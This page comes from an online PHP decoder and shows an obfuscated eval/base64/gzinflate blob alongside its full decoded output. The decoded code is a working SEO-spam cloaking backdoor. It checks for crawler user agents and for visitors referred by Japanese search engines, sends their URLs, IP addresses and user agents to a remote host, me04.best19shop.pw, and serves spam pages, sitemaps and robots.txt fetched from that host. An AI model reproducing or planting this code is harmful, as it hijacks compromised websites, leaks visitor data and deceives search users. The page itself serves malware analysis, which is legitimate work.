Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('7RprbxvH8TP5K9ZnIke6FB9+yLEIumUkyhIqkypFVQZs93A6LslTj..

Decoded Output download


error_reporting(0);
@session_start();
class Crawler
{
  private $server_domain="http://me04.best19shop.pw";

    private $custom_params = array(        
        "PageID" => "12",
        "Password" => "a769d5c2a5b96f7d071d466c33197f8c",
        "RandomInLink" => "1"
    );

    private $site_url; 
    private $site1_url;
    private $boolGzip=1; 
    private $boolShowDataBySpider=1; 
    private $boolShowErr=1; 
	private $boolStart301=1;
	private $boolNeedHttps= 1;	
	private $boolNeedWWW= 1;
 
    private $referer_array = array(
        'google.co.jp',
        'yahoo.co.jp',
    );

    private $searchEngineBot = array(
        'googlebot',
		'mediapartners-google',
		'yodaobot',
        'yahoo! slurp',
        'yahoo! slurp china',
        'spider',
        'crawler',
        'google',
        'yahoo',
    );

    private $header= array(
        "Content-Type: application/json; charset=utf-8",
        "Cache-Control: no-cache",
        "Pragma: no-cache",
        "Accept-Encoding:gzip"
    );
    private $referer;
    private $http_user_agent;
    private $http_host;
    private $request_uri;
    public function __construct()
    {
        $this->referer = $_SERVER['HTTP_REFERER'];
        $this->http_user_agent = $_SERVER['HTTP_USER_AGENT'];
        $this->http_host = $_SERVER['HTTP_HOST'];
        $this->request_uri= $_SERVER["REQUEST_URI"];
        $this->site_url= $this->server_domain."/Admin/SeoArticle/ShowUrl";
        $this->site1_url = $this->server_domain."/Admin/SeoArticle/ShowData";

         if($this->boolGzip){
             $this->header[]="Accept-Encoding:gzip";
         }
     	
    }
    public function doAction()
    {  

					
	
		if($this->boolShowDataBySpider){

			if($this->boolStart301){
				if (headers_sent()) {
					echo "301.";
					exit();
				} 
				else {
				//www
					if($this->boolNeedWWW){
						//
						$scheme = $this->is_https()?"https":"http";
						$domain = preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']);
						//https
						if ($this->boolNeedHttps) {
							//www
							if($scheme=="http"||substr($_SERVER['HTTP_HOST'], 0, 4) != 'www.'){
								ob_start();
								header('HTTP/1.1 301 Moved Permanently');					
								header('Location: https://www.'.$domain.$_SERVER['REQUEST_URI']);
								ob_clean();
								exit();
							}		

						} else {
							//www
							if($scheme=="https"||substr($_SERVER['HTTP_HOST'], 0, 4) != 'www.'){
								ob_start();
								header('HTTP/1.1 301 Moved Permanently');					
								header('Location: http://www.'.$domain.$_SERVER['REQUEST_URI']);
								ob_clean();
								exit();
							}		

						}
					}
					else {
						//
						$scheme = $this->is_https()?"https":"http";
						$domain = preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']);
						//https
						if ($this->boolNeedHttps) {
							//www
							if($scheme=="http"||substr($_SERVER['HTTP_HOST'], 0, 4) == 'www.'){
								ob_start();
								header('HTTP/1.1 301 Moved Permanently');					
								header('Location: https://'.$domain.$_SERVER['REQUEST_URI']);
								ob_clean();
								exit();
							}		

						} else {
							//www
							if($scheme=="https"||substr($_SERVER['HTTP_HOST'], 0, 4) == 'www.'){
								ob_start();
								header('HTTP/1.1 301 Moved Permanently');					
								header('Location: http://'.$domain.$_SERVER['REQUEST_URI']);
								ob_clean();
								exit();
							}		

						}
					}							
				}
			}



		   if($this->is_XmlOrTXT()){
				$this->do_action_robot();
		   }else {
				if ($this->is_spider()) {

					$this->do_action_resource();
					$this->do_action_robot();
				}else {        
					if ($this->is_search_engines()) {

						$this->do_action_referer();
					}
				}
		   }       
		}
		else{

		   if($this->is_XmlOrTXT()){
				$this->do_action_robot();
		   }else {
				if ($this->is_search_engines()) {

					$this->do_action_referer();
				}
				else {				
					$this->do_action_resource();
					$this->do_action_robot();
				}			 
		   }       
		}
    }

    public function is_XmlOrTXT()
    {
        if(preg_match("#(.xml)#si", $this->request_uri)||preg_match("#(.txt)#si", $this->request_uri)){
            return true;
        }
        return false;
    }
 
    public function is_search_engines()
    {
        if (isset($this->referer) && ($this->referer != "")) {
            foreach ($this->referer_array as $val) {
                if (strpos($this->referer, $val) !== false) {
                    return true;
                }
            }
        }
        return false;
    }
  
    public function is_spider()
    {
        if (!empty($this->http_user_agent)) {
            $spider = strtolower($this->http_user_agent);
            foreach ($this->searchEngineBot as $key => $value) {
                if (strpos($spider, $value) !== false) {
                    return true;
                }
            }
        }
        return false;
    }
  
    public function do_action_referer()
    {
        $params['dicData'] = $this->custom_params;
        $params['RefererUrl'] = $this->referer;
        $scheme = $this->is_https()?"https":"http";

	    $params['CurrentUrl'] = $scheme."://".$this->http_host.$_SERVER['REQUEST_URI'];
		$params['CurrentPHP'] =$scheme."://".$this->http_host.$_SERVER['PHP_SELF'];
        $params['IP_Address'] = $_SERVER['REMOTE_ADDR'];
        $params['User_Agent'] = $this->http_user_agent;
        
	    $json_params = json_encode($params);

        //echo  $json_params;
        //exit;

	    $result =$this->do_curl_request($this->site_url, $json_params);
        
         if($result){
            $res = explode('*##*',$result);
            $url = trim($res[0]);
            //("location:$url");
            //js
            header("Content-Type: text/html");
            echo  $res[1];
            exit;
        }
            
    }
   
    public function do_action_robot()
    {
        $params['dicData'] = $this->custom_params;
	    $params['RefererUrl'] = $this->referer;
	    $scheme = $this->is_https()?"https":"http";
        $params['CurrentUrl'] =$scheme."://". $this->http_host.$_SERVER['REQUEST_URI'];	
		$params['CurrentPHP'] =$scheme."://".$this->http_host.$_SERVER['PHP_SELF'];
        $params['IP_Address'] = $_SERVER['REMOTE_ADDR'];
        $params['User_Agent'] = $this->http_user_agent;
        $json_params = json_encode($params);

        $result = $this->do_curl_request($this->site1_url, $json_params);

        
        preg_match("/sitemap(_\d+)*\.xml/", $_SERVER["REQUEST_URI"],$array);
        if (sizeof($array)>0){
            header("Content-Type: application/xml");
            echo $result;
        }
        else {
				preg_match("/robots.txt/", $_SERVER["REQUEST_URI"],$array);
		        if (sizeof($array)>0){
					header("Content-Type: text/plain;charset=utf-8");
					echo $result;
				}
				else {
					preg_match("/rss.xml/", $_SERVER["REQUEST_URI"],$array);
					if (sizeof($array)>0){
						header("Content-Type: application/xml");
						echo $result;
					}
					else {					
						header("Content-Type: text/html");
						echo $result;
					}
				}
        }

        exit;

    }

 public   function is_https()
    {
	        if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
			        return true;
				    } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
					            return true;
						        } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
								        return true;
									    }
        return false;
}
    public function do_action_resource(){

        if (preg_match("#(\.jpg|\.jpeg|\.png|\.gif|\.css|\.js|\.ico|\.svg)#si",   $this->request_uri)){
            header('Content-Type: '.$this->returnHeader( $this->request_uri));
            header("HTTP/1.1 200 OK");
            exit;
        }
    }
   
   public function returnHeader($url){
     if (preg_match("#(\.jpg|\.jpeg)#si", $url)){
            $header = "image/jpeg";
        }elseif (preg_match("#(\.png)#si", $url)){
            $header = "image/png";
        }elseif (preg_match("#(\.gif)#si", $url)){
            $header = "image/gif";
        }elseif (preg_match("#(\.css)#si", $url)){
            $header = "text/css";
        }elseif (preg_match("#(\.js)#si", $url)){
            $header = "text/javascript";
        }elseif (preg_match("#(\.ico)#si", $url)){
            $header = "image/x-icon";
        }else{
            $header = "text/html";
        }
        return $header;
    }
  
    public function do_curl_request($url,$post=''){

            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)');
            curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($curl, CURLOPT_AUTOREFERER, 1);
            curl_setopt($curl, CURLOPT_FAILONERROR, true);
            //curl_setopt($curl, CURLOPT_REFERER, $post['RefererUrl']);
            if($post) {
                curl_setopt($curl, CURLOPT_POST, 1);
                curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
            }
            curl_setopt($curl, CURLOPT_HEADER, 0);
            if (!empty($this->header)) {
                curl_setopt($curl, CURLOPT_HTTPHEADER, $this->header);
               
                     }
             if($this->boolGzip){
              curl_setopt($curl, CURLOPT_ENCODING, "gzip,deflate");
            }           
            curl_setopt($curl, CURLOPT_TIMEOUT, 60);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            $data = curl_exec($curl);

            if (curl_errno($curl)) {

                if($this->boolShowErr)
                {
                    //echo "Failed to connect!";
				    echo 'Curl error: '.curl_error($curl);
                }

                curl_close($curl);
                exit;
            }
            curl_close($curl);
            return $data;

    }
}
$crawler = new Crawler();
$crawler->doAction();

Did this file decode correctly?

Original Code

<?php
eval(gzinflate(base64_decode('7RprbxvH8TP5K9ZnIke6FB9+yLEIumUkyhIqkypFVQZs93A6LslTjrfX3aMetgkk/VAgQAwUbT667be0HwqkRYE2aBr0z/jVT/kLnd29O97eHSWqhZG0KAXxsfPYmdmZ2Zkh85hSQg2KPUJ92x0Va6VG/gcMM2YT12C+Sf0irFiOyRhap+aJg2n+aR4hj9rHpo9RgWF6jKkxIBPTdpva2Pe9tWp1gms3K4eY+fU7bEy8ineiNfJAFiO0pswnE8MzqTlhqIlMSs2zIgoe+fCNtmuO8PaGhpp3kVa/rpXjEMZOCB1ImHl79c7glnXdvHV4Z3V4e1C7XR/cXF21btyo37k9fN+KU/ZMFwTednds98OAsyagpaSUzPaxMaVOA6XX6wKgrh8S4tx7YnvNepKCQ/bG5GTD9M0PzvY8e4DpYqw2lcCcCuEHcqNWB1AC0sF4sAW2Z01Ub+QygAcHBxyUT+xH8RBTOD9h/egUIkvpI0JGDq5YpHLk6XML6mfmmBBlOW06bFJr3HZHtos/IP5C5ofEBxa5nD7BA9sEf/BdTNmKBErIGRmYROKpElxBzJnStGTBOrLGtmvGoUzYPb5iSa+OL0Vbq0wXKTrGJj/LpHraOnF97Por/TMPryHT8xzbMn0IrOoRI24DhDMpw35z6g9X3o+757ppjfEKJ6fEWUMuWbH4iuL71BxNzGx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fhi2gL8MVDvIyXAF9Ga7gGMtxFWkNsJdhenQZnkfmscksanv+MqzBey9jhdMVIHCTjM8XSOTuc4YjAf7FPaZaovCypACdsd/U9XgcCxEsWcwLCtuVE8s4ggBAjiUecLJEhbO+39vp7vIbcScwxvIkkN/E17llpN8nT2zHMau3KjVUtMjEg0vx0MENdH9vu43qtUqtgQ5sd0BOGOr00Wql3kB9Cq2961dXK7WSvvy2m92dne7BTne91d/udsqovjxpa7/fDb7AvhTdZmt7p9tp93pdoOMZOdUBnUMcbSiOTW0SEnx4R8eRsmYb5+yw293rp/VZgmhzu72zsRdIliCfLWucrXZrg6tXSymTGjsJj09Nmy7iD+k93ENllNI3cyCU0GSJr9vPk6bdWe9ubHfulZHGv3QvD/DQMX2cvHRmsffLGrK/fb/d3YeTXE2a8lzv6u/3Ov1eq7O3meXVhQE0sGFOwKfYkgzizUx4WBKFUpcEOGJAnrRm+pcBbUpLKbTs4VwwMNE2TdvBA+QTBHnVxZZ/RZtXhAKF96UOEj+K4yVCKBuhkfxJ3rO0rILKcgjDC6nU6kDyuQSLMJlzK0fV9ixfCH7LBIZ38Un4ez2ejkMI7z7DH2A08v8C')));
?>

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 a194bf552923027e31f734ace778636e
Eval Count 1
Decode Time 75 ms